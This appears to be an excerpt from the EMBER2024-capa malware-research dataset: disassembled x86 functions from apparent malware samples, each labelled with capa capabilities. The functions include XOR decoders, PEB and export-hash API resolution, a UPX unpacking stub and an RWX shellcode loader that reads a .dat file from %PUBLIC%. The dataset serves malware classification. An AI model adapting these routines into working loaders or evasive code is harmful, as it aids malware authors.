joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c24de
Capabilities:
Encode data using xor

Disassembly:
call 0x100c2457
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100c2487
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100c24a3
xor edx, 0
jmp 0x100c24ae
xor edx, edx
jmp 0x100c24c5
jmp 0x100c24d1
xor eax, eax
push 0x8427d7c0
call 0x100c24de
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x100c251a
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100c24f3
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x100c2531
add eax, 0
jno 0x100c2536
add esi, 0
ret 0x10

Function at 0x100c329f
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100c32c1
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x100c3463
cmp edi, dword [ebp + 0x10]
jb 0x100c3463
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.100c2d8b
inc edi
jmp 0x100c334a
jmp 0x100c3357
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100c2d8b
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.100c2d8b
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x100c33ab
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x100c338f
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100c33d9
add dword [eax], 0x39
jle 0x100c33b5
sub al, 0xf5
mov ch, al
call fcn.100c33ee
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x100c50c6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x100c50dc
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x100c50ed
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.100c512e
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x100c749a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x100c73e3
add ebx, 0
push ecx
call 0x100c73f8
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x738e7186
sub ebx, dword [0x739069c5]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x739069b5
call fcn.100c2ec2
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100c23d0
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100c7556
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100c7556
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x100c750d
mov eax, 1
lock xchg dword [0x739069c1], eax
push 0x3dd1fc71
call 0x100c749a
push esi
add esp, 8
cmp eax, 0
jne 0x100c7483
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x100c74a9
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x100c74be
cmp ecx, edx
cmp eax, 0
je 0x100c74e3
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x100c74cd
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.100c74fc
dec eax
loope 0x100c74ff
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x739069c1], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100c7533
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100c7548
jmp 0x100c7553
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100c7441
Function at 0x100ce5bb
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100ce891
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x738f3639
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x738ea5ff
push 0xffffffffffffffff
call fcn.100c57bb
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100ce625
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100ce63d
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100ce885
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100ce859
Function at 0x100de08b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100de0ad
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100de0ad
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100de0ad
ret
cmp word [ebx + 4], 0x14c
jne 0x100de0ad
test word [ebx + 0x16], 2
je 0x100de0ad
test word [ebx + 0x16], 0x100
je 0x100de0ad
cmp word [ebx + 0x18], 0x10b
jne 0x100de0ad
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100de0ad
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100de139
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100de0cd
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100c5018
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100de0ad
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x100de139
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x100de0ad
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x100de0ad
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x100de0ad
ret
cmp word [ebx + 4], 0x14c
jne 0x100de0ad
test word [ebx + 0x16], 2
je 0x100de0ad
test word [ebx + 0x16], 0x100
je 0x100de0ad
cmp word [ebx + 0x18], 0x10b
jne 0x100de0ad
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x100de0ad
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x100de139
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x100de0cd
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.100c5018
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x100de0ad
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100de1f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100de249
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100de1f0
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100de1ff
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104e3ea2
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100de250
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100c50c6
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100de2ef
add edi, 4
add eax, 2
dec ecx
jne 0x100de235
call 0x100de29c
loope 0x100de292
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100de2ec
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100de2fd
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100de2b0
cmp eax, ecx
ja 0x100de2b0
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100de33a
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100de330
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100c55a5
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100de1ff
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100de249
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100de1f0
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100de1ff
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104e3ea2
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100de250
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100c50c6
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100de2ef
add edi, 4
add eax, 2
dec ecx
jne 0x100de235
call 0x100de29c
loope 0x100de292
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100de2ec
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100de2fd
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100de2b0
cmp eax, ecx
ja 0x100de2b0
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100de33a
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100de330
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100c55a5
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x43b64d
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
mov ebx, dword [esp]
add esp, 4
push ecx
pop edx
call fcn.0043b684
or ecx, ecx
xor dword [esi], ebx
inc edx
inc edx
push 0xd33a5127
pop edx
inc esi
or edx, ecx
or ecx, edx
cmp esi, edi
jne fcn.0043b64d
inc ecx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x403203
pop dword [ebp - 0x38]
mov eax, 0x2909a4a
sub eax, 0x2506847
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x693944bf
sub dword [ebp - 0x48], 0x1ae6ff74
mov dword [ebp - 0x44], 0xad049bb8
sub dword [ebp - 0x44], 0x7ad14f73
mov dword [ebp - 0x40], 0x77e07053
add dword [ebp - 0x40], 0xd46bd3db
mov dword [ebp - 0x3c], 0x18824733
add dword [ebp - 0x3c], 0xe77db8cd
lea eax, [ebp - 0x48]
push eax
mov eax, 0xa199ebf6
sub eax, 0xa1597b92
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x542b8e59
sub dword [ebp - 0x48], 0xdfb92503
mov dword [ebp - 0x44], 0x855ce3b9
sub dword [ebp - 0x44], 0x43f08244
mov dword [ebp - 0x40], 0x74b757d4
add dword [ebp - 0x40], 0xeeb81498
mov dword [ebp - 0x3c], 0x33d13daf
sub dword [ebp - 0x3c], 0x33d13daf
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xda69385
add eax, 0xf299dd23
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38709
push 0
call eax
mov ecx, 0x49a47916
sub ecx, 0x49a429b4
mov ebx, eax
mov esi, 0x149419ad
sub esi, 0x145319ad
add esi, dword [ebp - 0x38]
mov edi, 0x5413e7e8
sub edi, 0x97f1d6a3
xor dword [ebp - 0xc], 0xd024b2a9
mov edx, dword [esi]
sub dword [ebp - 8], eax
xor edx, edi
xor dword [ebp - 0x18], edi
mov dword [ebx], edx
xor dword [ebp - 0x30], 0x25bc318
add ebx, 4
add esi, 4
loop 0x403325
add eax, 0xdcda2860
sub eax, 0xdcd8f805
xor ebx, ebx
add ebx, eax
add eax, 0x35c30709
sub eax, 0x35c30704
mov ecx, 0x58b87691
add ecx, 0xa787896f
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
or esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
push esi
pop eax
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
push eax
pop esi
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x41f573
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f5b2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f5b2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f5b2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f5b2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f5b2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x431790
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4317bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4317bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x19727b8a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x7219789f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10001030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.VirtualProtect
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.VirtualAlloc
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x10c], 0x1000
call eax
mov esi, eax
test esi, esi
je 0x10001100
push 0x104
lea eax, [ebp - 0x108]
push eax
push str._PUBLIC_hpeveyPefJnA6hgd3yK6BAU.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
